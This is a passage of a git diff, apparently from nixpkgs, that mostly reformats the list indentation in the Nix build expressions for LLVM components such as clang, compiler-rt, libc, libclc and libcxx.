+          hash = "sha256-Vs32kql7N6qtLqc12FtZHURcbenA7+N3E/nRRX3jdig=";
+        })
+    # Fixes a bunch of lambda-related crashes
+    # https://github.com/llvm/llvm-project/pull/93206
+    ++ lib.optional (lib.versions.major release_version == "18") (fetchpatch {
+      name = "tweak-tryCaptureVariable-for-unevaluated-lambdas.patch";
+      url = "https://github.com/llvm/llvm-project/commit/3d361b225fe89ce1d8c93639f27d689082bd8dad.patch";
+      # TreeTransform.h is not affected in LLVM 18.
+      excludes = [
+        "docs/ReleaseNotes.rst"
+        "lib/Sema/TreeTransform.h"
+      ];
+      stripLen = 1;
+      hash = "sha256-1NKej08R9SPlbDY/5b0OKUsHjX07i9brR84yXiPwi7E=";
+    })
+    ++
+      lib.optional (stdenv.isAarch64 && lib.versions.major release_version == "17")
+        # Fixes llvm17 tblgen builds on aarch64.
+        # https://github.com/llvm/llvm-project/issues/106521#issuecomment-2337175680
+        (getVersionFile "clang/aarch64-tblgen.patch");
 
-    nativeBuildInputs =
-      [
-        cmake
-        python3
-      ]
-      ++ (lib.optional (lib.versionAtLeast release_version "15") ninja)
-      ++ lib.optional (lib.versionAtLeast version "18" && enableManpages) python3.pkgs.myst-parser
-      ++ lib.optional enableManpages python3.pkgs.sphinx
-      ++ lib.optional stdenv.hostPlatform.isDarwin fixDarwinDylibNames;
+    nativeBuildInputs = [
+      cmake
+      python3
+    ]
+    ++ (lib.optional (lib.versionAtLeast release_version "15") ninja)
+    ++ lib.optional (lib.versionAtLeast version "18" && enableManpages) python3.pkgs.myst-parser
+    ++ lib.optional enableManpages python3.pkgs.sphinx
+    ++ lib.optional stdenv.hostPlatform.isDarwin fixDarwinDylibNames;
 
     buildInputs = [
       libxml2
@@ -183,16 +181,15 @@ stdenv.mkDerivation (
       )
       ++ devExtraCmakeFlags;
 
-    postPatch =
-      ''
-        # Make sure clang passes the correct location of libLTO to ld64
-        substituteInPlace lib/Driver/ToolChains/Darwin.cpp \
-          --replace-fail 'StringRef P = llvm::sys::path::parent_path(D.Dir);' 'StringRef P = "${lib.getLib libllvm}";'
-        (cd tools && ln -s ../../clang-tools-extra extra)
-      ''
-      + lib.optionalString stdenv.hostPlatform.isMusl ''
-        sed -i -e 's/lgcc_s/lgcc_eh/' lib/Driver/ToolChains/*.cpp
-      '';
+    postPatch = ''
+      # Make sure clang passes the correct location of libLTO to ld64
+      substituteInPlace lib/Driver/ToolChains/Darwin.cpp \
+        --replace-fail 'StringRef P = llvm::sys::path::parent_path(D.Dir);' 'StringRef P = "${lib.getLib libllvm}";'
+      (cd tools && ln -s ../../clang-tools-extra extra)
+    ''
+    + lib.optionalString stdenv.hostPlatform.isMusl ''
+      sed -i -e 's/lgcc_s/lgcc_eh/' lib/Driver/ToolChains/*.cpp
+    '';
 
     outputs = [
       "out"
@@ -201,63 +198,62 @@ stdenv.mkDerivation (
       "python"
     ];
 
-    postInstall =
-      ''
-        ln -sv $out/bin/clang $out/bin/cpp
-      ''
-      + (lib.optionalString (lib.versions.major release_version == "17") ''
-        mkdir -p $lib/lib/clang
-        mv $lib/lib/17 $lib/lib/clang/17
-      '')
-      + (lib.optionalString (lib.versionAtLeast release_version "19") ''
-        mv $out/lib/clang $lib/lib/clang
-      '')
-      + ''
+    postInstall = ''
+      ln -sv $out/bin/clang $out/bin/cpp
+    ''
+    + (lib.optionalString (lib.versions.major release_version == "17") ''
+      mkdir -p $lib/lib/clang
+      mv $lib/lib/17 $lib/lib/clang/17
+    '')
+    + (lib.optionalString (lib.versionAtLeast release_version "19") ''
+      mv $out/lib/clang $lib/lib/clang
+    '')
+    + ''
 
-        # Move libclang to 'lib' output
-        moveToOutput "lib/libclang.*" "$lib"
-        moveToOutput "lib/libclang-cpp.*" "$lib"
-      ''
-      + (
-        if lib.versionOlder release_version "15" then
-          ''
-            mkdir -p $python/bin $python/share/{clang,scan-view}
-          ''
-        else
-          ''
-            mkdir -p $python/bin $python/share/clang/
-          ''
-      )
-      + ''
-        mv $out/bin/{git-clang-format,scan-view} $python/bin
-        if [ -e $out/bin/set-xcode-analyzer ]; then
-          mv $out/bin/set-xcode-analyzer $python/bin
-        fi
-        mv $out/share/clang/*.py $python/share/clang
-      ''
-      + (lib.optionalString (lib.versionOlder release_version "15") ''
-        mv $out/share/scan-view/*.py $python/share/scan-view
-      '')
-      + ''
-        rm $out/bin/c-index-test
-        patchShebangs $python/bin
+      # Move libclang to 'lib' output
+      moveToOutput "lib/libclang.*" "$lib"
+      moveToOutput "lib/libclang-cpp.*" "$lib"
+    ''
+    + (
+      if lib.versionOlder release_version "15" then
+        ''
+          mkdir -p $python/bin $python/share/{clang,scan-view}
+        ''
+      else
+        ''
+          mkdir -p $python/bin $python/share/clang/
+        ''
+    )
+    + ''
+      mv $out/bin/{git-clang-format,scan-view} $python/bin
+      if [ -e $out/bin/set-xcode-analyzer ]; then
+        mv $out/bin/set-xcode-analyzer $python/bin
+      fi
+      mv $out/share/clang/*.py $python/share/clang
+    ''
+    + (lib.optionalString (lib.versionOlder release_version "15") ''
+      mv $out/share/scan-view/*.py $python/share/scan-view
+    '')
+    + ''
+      rm $out/bin/c-index-test
+      patchShebangs $python/bin
 
-        mkdir -p $dev/bin
-      ''
-      + (
-        if lib.versionOlder release_version "15" then
-          ''
-            cp bin/clang-tblgen $dev/bin
-          ''
-        else if lib.versionOlder release_version "20" then
-          ''
-            cp bin/{clang-tblgen,clang-tidy-confusable-chars-gen,clang-pseudo-gen} $dev/bin
-          ''
-        else
-          ''
-            cp bin/{clang-tblgen,clang-tidy-confusable-chars-gen} $dev/bin
-          ''
-      );
+      mkdir -p $dev/bin
+    ''
+    + (
+      if lib.versionOlder release_version "15" then
+        ''
+          cp bin/clang-tblgen $dev/bin
+        ''
+      else if lib.versionOlder release_version "20" then
+        ''
+          cp bin/{clang-tblgen,clang-tidy-confusable-chars-gen,clang-pseudo-gen} $dev/bin
+        ''
+      else
+        ''
+          cp bin/{clang-tblgen,clang-tidy-confusable-chars-gen} $dev/bin
+        ''
+    );
 
     env =
       lib.optionalAttrs
diff --git a/pkgs/development/compilers/llvm/common/compiler-rt/default.nix b/pkgs/development/compilers/llvm/common/compiler-rt/default.nix
index 206b92b7432d..40ff633527ae 100644
--- a/pkgs/development/compilers/llvm/common/compiler-rt/default.nix
+++ b/pkgs/development/compilers/llvm/common/compiler-rt/default.nix
@@ -138,14 +138,13 @@ stdenv.mkDerivation (finalAttrs: {
       relative = "compiler-rt";
     });
 
-  nativeBuildInputs =
-    [
-      cmake
-      python3
-      libllvm.dev
-    ]
-    ++ (lib.optional (lib.versionAtLeast release_version "15") ninja)
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ jq ];
+  nativeBuildInputs = [
+    cmake
+    python3
+    libllvm.dev
+  ]
+  ++ (lib.optional (lib.versionAtLeast release_version "15") ninja)
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ jq ];
   buildInputs =
     lib.optional (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isRiscV) linuxHeaders
     ++ lib.optional (stdenv.hostPlatform.isFreeBSD) freebsd.include;
@@ -169,84 +168,83 @@ stdenv.mkDerivation (finalAttrs: {
     NIX_CFLAGS_LINK = lib.optionalString (stdenv.hostPlatform.isDarwin) "--ld-path=${stdenv.cc.bintools}/bin/${stdenv.cc.targetPrefix}ld";
   };
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "COMPILER_RT_DEFAULT_TARGET_ONLY" true)
-      (lib.cmakeFeature "CMAKE_C_COMPILER_TARGET" stdenv.hostPlatform.config)
-      (lib.cmakeFeature "CMAKE_ASM_COMPILER_TARGET" stdenv.hostPlatform.config)
-    ]
-    ++ lib.optionals (haveLibc && stdenv.hostPlatform.libc == "glibc") [
-      (lib.cmakeFeature "SANITIZER_COMMON_CFLAGS" "-I${libxcrypt}/include")
-    ]
-    ++ lib.optionals (useLLVM && haveLibc && stdenv.cc.libcxx == libcxx) [
-      (lib.cmakeFeature "SANITIZER_CXX_ABI" "libcxxabi")
-      (lib.cmakeFeature "SANITIZER_CXX_ABI_LIBNAME" "libcxxabi")
-      (lib.cmakeBool "COMPILER_RT_USE_BUILTINS_LIBRARY" true)
-    ]
-    ++
-      lib.optionals
-        ((!haveLibc || bareMetal || isMusl || isAarch64) && (lib.versions.major release_version == "13"))
-        [
-          (lib.cmakeBool "COMPILER_RT_BUILD_LIBFUZZER" false)
-        ]
-    ++ lib.optionals (useLLVM && haveLibc) [
-      (lib.cmakeBool "COMPILER_RT_BUILD_SANITIZERS" true)
-      (lib.cmakeBool "COMPILER_RT_BUILD_PROFILE" true)
-    ]
-    ++ lib.optionals (noSanitizers) [
-      (lib.cmakeBool "COMPILER_RT_BUILD_SANITIZERS" false)
-    ]
-    ++ lib.optionals ((useLLVM && !haveLibcxx) || !haveLibc || bareMetal || isMusl || isDarwinStatic) [
-      (lib.cmakeBool "COMPILER_RT_BUILD_XRAY" false)
-      (lib.cmakeBool "COMPILER_RT_BUILD_LIBFUZZER" false)
-      (lib.cmakeBool "COMPILER_RT_BUILD_MEMPROF" false)
-      (lib.cmakeBool "COMPILER_RT_BUILD_ORC" false) # may be possible to build with musl if necessary
-    ]
-    ++ lib.optionals (!haveLibc || bareMetal) [
-      (lib.cmakeBool "COMPILER_RT_BUILD_PROFILE" false)
-      (lib.cmakeBool "CMAKE_C_COMPILER_WORKS" true)
-      (lib.cmakeBool "COMPILER_RT_BAREMETAL_BUILD" true)
-      (lib.cmakeFeature "CMAKE_SIZEOF_VOID_P" (toString (stdenv.hostPlatform.parsed.cpu.bits / 8)))
-    ]
-    ++ lib.optionals (!haveLibc || bareMetal || isDarwinStatic) [
-      (lib.cmakeBool "CMAKE_CXX_COMPILER_WORKS" true)
-    ]
-    ++ lib.optionals (!haveLibc) [
-      (lib.cmakeFeature "CMAKE_C_FLAGS" "-nodefaultlibs")
-    ]
-    ++ lib.optionals (useLLVM) [
-      (lib.cmakeBool "COMPILER_RT_BUILD_BUILTINS" true)
-      #https://stackoverflow.com/questions/53633705/cmake-the-c-compiler-is-not-able-to-compile-a-simple-test-program
-      (lib.cmakeFeature "CMAKE_TRY_COMPILE_TARGET_TYPE" "STATIC_LIBRARY")
-    ]
-    ++ lib.optionals (bareMetal) [
-      (lib.cmakeFeature "COMPILER_RT_OS_DIR" "baremetal")
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin) (
-      lib.optionals (lib.versionAtLeast release_version "16") [
-        (lib.cmakeFeature "CMAKE_LIPO" "${lib.getBin stdenv.cc.bintools.bintools}/bin/${stdenv.cc.targetPrefix}lipo")
+  cmakeFlags = [
+    (lib.cmakeBool "COMPILER_RT_DEFAULT_TARGET_ONLY" true)
+    (lib.cmakeFeature "CMAKE_C_COMPILER_TARGET" stdenv.hostPlatform.config)
+    (lib.cmakeFeature "CMAKE_ASM_COMPILER_TARGET" stdenv.hostPlatform.config)
+  ]
+  ++ lib.optionals (haveLibc && stdenv.hostPlatform.libc == "glibc") [
+    (lib.cmakeFeature "SANITIZER_COMMON_CFLAGS" "-I${libxcrypt}/include")
+  ]
+  ++ lib.optionals (useLLVM && haveLibc && stdenv.cc.libcxx == libcxx) [
+    (lib.cmakeFeature "SANITIZER_CXX_ABI" "libcxxabi")
+    (lib.cmakeFeature "SANITIZER_CXX_ABI_LIBNAME" "libcxxabi")
+    (lib.cmakeBool "COMPILER_RT_USE_BUILTINS_LIBRARY" true)
+  ]
+  ++
+    lib.optionals
+      ((!haveLibc || bareMetal || isMusl || isAarch64) && (lib.versions.major release_version == "13"))
+      [
+        (lib.cmakeBool "COMPILER_RT_BUILD_LIBFUZZER" false)
       ]
-      ++ lib.optionals (!haveLibcxx) [
-        # Darwin fails to detect that the compiler supports the `-g` flag when there is no libc++ during the
-        # compiler-rt bootstrap, which prevents compiler-rt from building. The `-g` flag is required by the
-        # Darwin support, so force it to be enabled during the first stage of the compiler-rt bootstrap.
-        (lib.cmakeBool "COMPILER_RT_HAS_G_FLAG" true)
-      ]
-      ++ [
-        (lib.cmakeFeature "DARWIN_osx_ARCHS" stdenv.hostPlatform.darwinArch)
-        (lib.cmakeFeature "DARWIN_osx_BUILTIN_ARCHS" stdenv.hostPlatform.darwinArch)
-        (lib.cmakeFeature "SANITIZER_MIN_OSX_VERSION" stdenv.hostPlatform.darwinMinVersion)
-      ]
-      ++ lib.optionals (lib.versionAtLeast release_version "15") [
-        # `COMPILER_RT_DEFAULT_TARGET_ONLY` does not apply to Darwin:
-        # https://github.com/llvm/llvm-project/blob/27ef42bec80b6c010b7b3729ed0528619521a690/compiler-rt/cmake/base-config-ix.cmake#L153
-        (lib.cmakeBool "COMPILER_RT_ENABLE_IOS" false)
-      ]
-    )
-    ++ lib.optionals (noSanitizers && lib.versionAtLeast release_version "19") [
-      (lib.cmakeBool "COMPILER_RT_BUILD_CTX_PROFILE" false)
+  ++ lib.optionals (useLLVM && haveLibc) [
+    (lib.cmakeBool "COMPILER_RT_BUILD_SANITIZERS" true)
+    (lib.cmakeBool "COMPILER_RT_BUILD_PROFILE" true)
+  ]
+  ++ lib.optionals (noSanitizers) [
+    (lib.cmakeBool "COMPILER_RT_BUILD_SANITIZERS" false)
+  ]
+  ++ lib.optionals ((useLLVM && !haveLibcxx) || !haveLibc || bareMetal || isMusl || isDarwinStatic) [
+    (lib.cmakeBool "COMPILER_RT_BUILD_XRAY" false)
+    (lib.cmakeBool "COMPILER_RT_BUILD_LIBFUZZER" false)
+    (lib.cmakeBool "COMPILER_RT_BUILD_MEMPROF" false)
+    (lib.cmakeBool "COMPILER_RT_BUILD_ORC" false) # may be possible to build with musl if necessary
+  ]
+  ++ lib.optionals (!haveLibc || bareMetal) [
+    (lib.cmakeBool "COMPILER_RT_BUILD_PROFILE" false)
+    (lib.cmakeBool "CMAKE_C_COMPILER_WORKS" true)
+    (lib.cmakeBool "COMPILER_RT_BAREMETAL_BUILD" true)
+    (lib.cmakeFeature "CMAKE_SIZEOF_VOID_P" (toString (stdenv.hostPlatform.parsed.cpu.bits / 8)))
+  ]
+  ++ lib.optionals (!haveLibc || bareMetal || isDarwinStatic) [
+    (lib.cmakeBool "CMAKE_CXX_COMPILER_WORKS" true)
+  ]
+  ++ lib.optionals (!haveLibc) [
+    (lib.cmakeFeature "CMAKE_C_FLAGS" "-nodefaultlibs")
+  ]
+  ++ lib.optionals (useLLVM) [
+    (lib.cmakeBool "COMPILER_RT_BUILD_BUILTINS" true)
+    #https://stackoverflow.com/questions/53633705/cmake-the-c-compiler-is-not-able-to-compile-a-simple-test-program
+    (lib.cmakeFeature "CMAKE_TRY_COMPILE_TARGET_TYPE" "STATIC_LIBRARY")
+  ]
+  ++ lib.optionals (bareMetal) [
+    (lib.cmakeFeature "COMPILER_RT_OS_DIR" "baremetal")
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin) (
+    lib.optionals (lib.versionAtLeast release_version "16") [
+      (lib.cmakeFeature "CMAKE_LIPO" "${lib.getBin stdenv.cc.bintools.bintools}/bin/${stdenv.cc.targetPrefix}lipo")
     ]
-    ++ devExtraCmakeFlags;
+    ++ lib.optionals (!haveLibcxx) [
+      # Darwin fails to detect that the compiler supports the `-g` flag when there is no libc++ during the
+      # compiler-rt bootstrap, which prevents compiler-rt from building. The `-g` flag is required by the
+      # Darwin support, so force it to be enabled during the first stage of the compiler-rt bootstrap.
+      (lib.cmakeBool "COMPILER_RT_HAS_G_FLAG" true)
+    ]
+    ++ [
+      (lib.cmakeFeature "DARWIN_osx_ARCHS" stdenv.hostPlatform.darwinArch)
+      (lib.cmakeFeature "DARWIN_osx_BUILTIN_ARCHS" stdenv.hostPlatform.darwinArch)
+      (lib.cmakeFeature "SANITIZER_MIN_OSX_VERSION" stdenv.hostPlatform.darwinMinVersion)
+    ]
+    ++ lib.optionals (lib.versionAtLeast release_version "15") [
+      # `COMPILER_RT_DEFAULT_TARGET_ONLY` does not apply to Darwin:
+      # https://github.com/llvm/llvm-project/blob/27ef42bec80b6c010b7b3729ed0528619521a690/compiler-rt/cmake/base-config-ix.cmake#L153
+      (lib.cmakeBool "COMPILER_RT_ENABLE_IOS" false)
+    ]
+  )
+  ++ lib.optionals (noSanitizers && lib.versionAtLeast release_version "19") [
+    (lib.cmakeBool "COMPILER_RT_BUILD_CTX_PROFILE" false)
+  ]
+  ++ devExtraCmakeFlags;
 
   outputs = [
     "out"
diff --git a/pkgs/development/compilers/llvm/common/default.nix b/pkgs/development/compilers/llvm/common/default.nix
index d94d28c9b387..15aeb51e51df 100644
--- a/pkgs/development/compilers/llvm/common/default.nix
+++ b/pkgs/development/compilers/llvm/common/default.nix
@@ -157,14 +157,14 @@ let
             # Crude method to drop polly patches if present, they're not needed for tblgen.
             (p: (!lib.hasInfix "-polly" p))
             tools.libllvm.patches;
-        clangPatches =
-          [
-            # Would take tools.libclang.patches, but this introduces a cycle due
-            # to replacements depending on the llvm outpath (e.g. the LLVMgold patch).
-            # So take the only patch known to be necessary.
-            (metadata.getVersionFile "clang/gnu-install-dirs.patch")
-          ]
-          ++ lib.optional (stdenv.isAarch64 && lib.versions.major metadata.release_version == "17")
+        clangPatches = [
+          # Would take tools.libclang.patches, but this introduces a cycle due
+          # to replacements depending on the llvm outpath (e.g. the LLVMgold patch).
+          # So take the only patch known to be necessary.
+          (metadata.getVersionFile "clang/gnu-install-dirs.patch")
+        ]
+        ++
+          lib.optional (stdenv.isAarch64 && lib.versions.major metadata.release_version == "17")
             # Fixes llvm17 tblgen builds on aarch64.
             # https://github.com/llvm/llvm-project/issues/106521#issuecomment-2337175680
             (metadata.getVersionFile "clang/aarch64-tblgen.patch");
@@ -265,11 +265,12 @@ let
           cc = tools.clang-unwrapped;
           libcxx = targetLlvmLibraries.libcxx;
           bintools = bintools';
-          extraPackages =
-            [ targetLlvmLibraries.compiler-rt ]
-            ++ lib.optionals (!stdenv.targetPlatform.isWasm && !stdenv.targetPlatform.isFreeBSD) [
-              targetLlvmLibraries.libunwind
-            ];
+          extraPackages = [
+            targetLlvmLibraries.compiler-rt
+          ]
+          ++ lib.optionals (!stdenv.targetPlatform.isWasm && !stdenv.targetPlatform.isFreeBSD) [
+            targetLlvmLibraries.libunwind
+          ];
           extraBuildCommands =
             lib.optionalString (lib.versions.major metadata.release_version == "13") (
               ''
@@ -290,21 +291,20 @@ let
             + mkExtraBuildCommands cc;
         }
         // lib.optionalAttrs (lib.versionAtLeast metadata.release_version "14") {
-          nixSupport.cc-cflags =
-            [
-              "-rtlib=compiler-rt"
-              "-Wno-unused-command-line-argument"
-              "-B${targetLlvmLibraries.compiler-rt}/lib"
-            ]
-            ++ lib.optional (
-              !stdenv.targetPlatform.isWasm && !stdenv.targetPlatform.isFreeBSD
-            ) "--unwindlib=libunwind"
-            ++ lib.optional (
-              !stdenv.targetPlatform.isWasm
-              && !stdenv.targetPlatform.isFreeBSD
-              && stdenv.targetPlatform.useLLVM or false
-            ) "-lunwind"
-            ++ lib.optional stdenv.targetPlatform.isWasm "-fno-exceptions";
+          nixSupport.cc-cflags = [
+            "-rtlib=compiler-rt"
+            "-Wno-unused-command-line-argument"
+            "-B${targetLlvmLibraries.compiler-rt}/lib"
+          ]
+          ++ lib.optional (
+            !stdenv.targetPlatform.isWasm && !stdenv.targetPlatform.isFreeBSD
+          ) "--unwindlib=libunwind"
+          ++ lib.optional (
+            !stdenv.targetPlatform.isWasm
+            && !stdenv.targetPlatform.isFreeBSD
+            && stdenv.targetPlatform.useLLVM or false
+          ) "-lunwind"
+          ++ lib.optional stdenv.targetPlatform.isWasm "-fno-exceptions";
           nixSupport.cc-ldflags = lib.optionals (
             !stdenv.targetPlatform.isWasm && !stdenv.targetPlatform.isFreeBSD
           ) [ "-L${targetLlvmLibraries.libunwind}/lib" ];
@@ -316,9 +316,11 @@ let
           cc = tools.clang-unwrapped;
           libcxx = targetLlvmLibraries.libcxx;
           bintools = bintools';
-          extraPackages =
-            [ targetLlvmLibraries.compiler-rt-no-libc ]
-            ++ lib.optionals
+          extraPackages = [
+            targetLlvmLibraries.compiler-rt-no-libc
+          ]
+          ++
+            lib.optionals
               (
                 !stdenv.targetPlatform.isWasm && !stdenv.targetPlatform.isFreeBSD && !stdenv.targetPlatform.isDarwin
               )
@@ -345,21 +347,20 @@ let
             + mkExtraBuildCommandsBasicRt cc;
         }
         // lib.optionalAttrs (lib.versionAtLeast metadata.release_version "14") {
-          nixSupport.cc-cflags =
-            [
-              "-rtlib=compiler-rt"
-              "-Wno-unused-command-line-argument"
-              "-B${targetLlvmLibraries.compiler-rt-no-libc}/lib"
-            ]
-            ++ lib.optional (
-              !stdenv.targetPlatform.isWasm && !stdenv.targetPlatform.isFreeBSD && !stdenv.targetPlatform.isDarwin
-            ) "--unwindlib=libunwind"
-            ++ lib.optional (
-              !stdenv.targetPlatform.isWasm
-              && !stdenv.targetPlatform.isFreeBSD
-              && stdenv.targetPlatform.useLLVM or false
-            ) "-lunwind"
-            ++ lib.optional stdenv.targetPlatform.isWasm "-fno-exceptions";
+          nixSupport.cc-cflags = [
+            "-rtlib=compiler-rt"
+            "-Wno-unused-command-line-argument"
+            "-B${targetLlvmLibraries.compiler-rt-no-libc}/lib"
+          ]
+          ++ lib.optional (
+            !stdenv.targetPlatform.isWasm && !stdenv.targetPlatform.isFreeBSD && !stdenv.targetPlatform.isDarwin
+          ) "--unwindlib=libunwind"
+          ++ lib.optional (
+            !stdenv.targetPlatform.isWasm
+            && !stdenv.targetPlatform.isFreeBSD
+            && stdenv.targetPlatform.useLLVM or false
+          ) "-lunwind"
+          ++ lib.optional stdenv.targetPlatform.isWasm "-fno-exceptions";
           nixSupport.cc-ldflags = lib.optionals (
             !stdenv.targetPlatform.isWasm && !stdenv.targetPlatform.isFreeBSD && !stdenv.targetPlatform.isDarwin
           ) [ "-L${targetLlvmLibraries.libunwind}/lib" ];
@@ -381,15 +382,14 @@ let
             + mkExtraBuildCommandsBasicRt cc;
         }
         // lib.optionalAttrs (lib.versionAtLeast metadata.release_version "14") {
-          nixSupport.cc-cflags =
-            [
-              "-rtlib=compiler-rt"
-              "-B${targetLlvmLibraries.compiler-rt-no-libc}/lib"
-              "-nostdlib++"
-            ]
-            ++ lib.optional (
-              lib.versionAtLeast metadata.release_version "15" && stdenv.targetPlatform.isWasm
-            ) "-fno-exceptions";
+          nixSupport.cc-cflags = [
+            "-rtlib=compiler-rt"
+            "-B${targetLlvmLibraries.compiler-rt-no-libc}/lib"
+            "-nostdlib++"
+          ]
+          ++ lib.optional (
+            lib.versionAtLeast metadata.release_version "15" && stdenv.targetPlatform.isWasm
+          ) "-fno-exceptions";
         }
       );
 
@@ -407,14 +407,13 @@ let
             + mkExtraBuildCommandsBasicRt cc;
         }
         // lib.optionalAttrs (lib.versionAtLeast metadata.release_version "14") {
-          nixSupport.cc-cflags =
-            [
-              "-rtlib=compiler-rt"
-              "-B${targetLlvmLibraries.compiler-rt-no-libc}/lib"
-            ]
-            ++ lib.optional (
-              lib.versionAtLeast metadata.release_version "15" && stdenv.targetPlatform.isWasm
-            ) "-fno-exceptions";
+          nixSupport.cc-cflags = [
+            "-rtlib=compiler-rt"
+            "-B${targetLlvmLibraries.compiler-rt-no-libc}/lib"
+          ]
+          ++ lib.optional (
+            lib.versionAtLeast metadata.release_version "15" && stdenv.targetPlatform.isWasm
+          ) "-fno-exceptions";
         }
       );
 
diff --git a/pkgs/development/compilers/llvm/common/libc/default.nix b/pkgs/development/compilers/llvm/common/libc/default.nix
index 69d830a19d71..de68e6698cfb 100644
--- a/pkgs/development/compilers/llvm/common/libc/default.nix
+++ b/pkgs/development/compilers/llvm/common/libc/default.nix
@@ -34,13 +34,12 @@ stdenv.mkDerivation (finalAttrs: {
 
   sourceRoot = "${finalAttrs.src.name}/runtimes";
 
-  nativeBuildInputs =
-    [
-      cmake
-      python3
-    ]
-    ++ (lib.optional (lib.versionAtLeast release_version "15") ninja)
-    ++ (lib.optional isFullBuild python3Packages.pyyaml);
+  nativeBuildInputs = [
+    cmake
+    python3
+  ]
+  ++ (lib.optional (lib.versionAtLeast release_version "15") ninja)
+  ++ (lib.optional isFullBuild python3Packages.pyyaml);
 
   buildInputs = lib.optional isFullBuild linuxHeaders;
 
@@ -73,20 +72,19 @@ stdenv.mkDerivation (finalAttrs: {
 
   libc = if (!isFullBuild) then stdenv.cc.libc else null;
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "LLVM_LIBC_FULL_BUILD" isFullBuild)
-      (lib.cmakeFeature "LLVM_ENABLE_RUNTIMES" "libc;compiler-rt")
-      # Tests requires the host to have a libc.
-      (lib.cmakeBool "LLVM_INCLUDE_TESTS" (stdenv.cc.libc != null))
-    ]
-    ++ lib.optionals (isFullBuild && stdenv.cc.libc == null) [
-      # CMake runs a check to see if the compiler works.
-      # This includes including headers which requires a libc.
-      # Skip these checks because a libc cannot be used when one doesn't exist.
-      (lib.cmakeBool "CMAKE_C_COMPILER_WORKS" true)
-      (lib.cmakeBool "CMAKE_CXX_COMPILER_WORKS" true)
-    ];
+  cmakeFlags = [
+    (lib.cmakeBool "LLVM_LIBC_FULL_BUILD" isFullBuild)
+    (lib.cmakeFeature "LLVM_ENABLE_RUNTIMES" "libc;compiler-rt")
+    # Tests requires the host to have a libc.
+    (lib.cmakeBool "LLVM_INCLUDE_TESTS" (stdenv.cc.libc != null))
+  ]
+  ++ lib.optionals (isFullBuild && stdenv.cc.libc == null) [
+    # CMake runs a check to see if the compiler works.
+    # This includes including headers which requires a libc.
+    # Skip these checks because a libc cannot be used when one doesn't exist.
+    (lib.cmakeBool "CMAKE_C_COMPILER_WORKS" true)
+    (lib.cmakeBool "CMAKE_CXX_COMPILER_WORKS" true)
+  ];
 
   # For the update script:
   passthru = {
diff --git a/pkgs/development/compilers/llvm/common/libclc/default.nix b/pkgs/development/compilers/llvm/common/libclc/default.nix
index 290f7487c797..5a3f7d4eba67 100644
--- a/pkgs/development/compilers/llvm/common/libclc/default.nix
+++ b/pkgs/development/compilers/llvm/common/libclc/default.nix
@@ -49,15 +49,16 @@ stdenv.mkDerivation (finalAttrs: {
     "dev"
   ];
 
-  patches =
-    [ ./libclc-gnu-install-dirs.patch ]
-    # LLVM 19 changes how host tools are looked up.
-    # Need to remove NO_DEFAULT_PATH and the PATHS arguments for find_program
-    # so CMake can actually find the tools in nativeBuildInputs.
-    # https://github.com/llvm/llvm-project/pull/105969
-    ++ lib.optional (lib.versionAtLeast release_version "19") (
-      getVersionFile "libclc/use-default-paths.patch"
-    );
+  patches = [
+    ./libclc-gnu-install-dirs.patch
+  ]
+  # LLVM 19 changes how host tools are looked up.
+  # Need to remove NO_DEFAULT_PATH and the PATHS arguments for find_program
+  # so CMake can actually find the tools in nativeBuildInputs.
+  # https://github.com/llvm/llvm-project/pull/105969
+  ++ lib.optional (lib.versionAtLeast release_version "19") (
+    getVersionFile "libclc/use-default-paths.patch"
+  );
 
   # cmake expects all required binaries to be in the same place, so it will not be able to find clang without the patch
   postPatch =
@@ -89,17 +90,16 @@ stdenv.mkDerivation (finalAttrs: {
         ''
     );
 
-  nativeBuildInputs =
-    [
-      cmake
-      ninja
-      python3
-    ]
-    ++ lib.optional (lib.versionAtLeast release_version "19") [
-      clang-only
-      buildLlvmTools.llvm
-      spirv-llvm-translator
-    ];
+  nativeBuildInputs = [
+    cmake
+    ninja
+    python3
+  ]
+  ++ lib.optional (lib.versionAtLeast release_version "19") [
+    clang-only
+    buildLlvmTools.llvm
+    spirv-llvm-translator
+  ];
   buildInputs = [ llvm ];
   strictDeps = true;
 
diff --git a/pkgs/development/compilers/llvm/common/libcxx/default.nix b/pkgs/development/compilers/llvm/common/libcxx/default.nix
index d8969b3b028e..520692c30d6e 100644
--- a/pkgs/development/compilers/llvm/common/libcxx/default.nix
+++ b/pkgs/development/compilers/llvm/common/libcxx/default.nix
@@ -58,79 +58,77 @@ let
       (lib.cmakeBool "LIBCXXABI_ENABLE_SHARED" false)
     ];
 
-  cxxCMakeFlags =
-    [
-      (lib.cmakeFeature "LIBCXX_CXX_ABI" cxxabiName)
-      (lib.cmakeBool "LIBCXX_ENABLE_SHARED" enableShared)
-      # https://github.com/llvm/llvm-project/issues/55245
-      (lib.cmakeBool "LIBCXX_ENABLE_STATIC_ABI_LIBRARY" stdenv.hostPlatform.isWindows)
-    ]
-    ++ lib.optionals (cxxabi == null && lib.versionAtLeast release_version "16") [
-      # Note: llvm < 16 doesn't support this flag (or it's broken); handled in postInstall instead.
-      # Include libc++abi symbols within libc++.a for static linking libc++;
-      # dynamic linking includes them through libc++.so being a linker script
-      # which includes both shared objects.
-      (lib.cmakeBool "LIBCXX_STATICALLY_LINK_ABI_IN_STATIC_LIBRARY" true)
-    ]
-    ++ lib.optionals (cxxabi != null) [
-      (lib.cmakeFeature "LIBCXX_CXX_ABI_INCLUDE_PATHS" "${lib.getDev cxxabi}/include")
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isMusl || stdenv.hostPlatform.isWasi) [
-      (lib.cmakeFeature "LIBCXX_HAS_MUSL_LIBC" "1")
-    ]
-    ++
-      lib.optionals
-        (
-          lib.versionAtLeast release_version "18"
-          && !useLLVM
-          && stdenv.hostPlatform.libc == "glibc"
-          && !stdenv.hostPlatform.isStatic
-        )
-        [
-          (lib.cmakeFeature "LIBCXX_ADDITIONAL_LIBRARIES" "gcc_s")
-        ]
-    ++ lib.optionals (lib.versionAtLeast release_version "18" && stdenv.hostPlatform.isFreeBSD) [
-      # Name and documentation claim this is for libc++abi, but its man effect is adding `-lunwind`
-      # to the libc++.so linker script. We want FreeBSD's so-called libgcc instead of libunwind.
-      (lib.cmakeBool "LIBCXXABI_USE_LLVM_UNWINDER" false)
-    ]
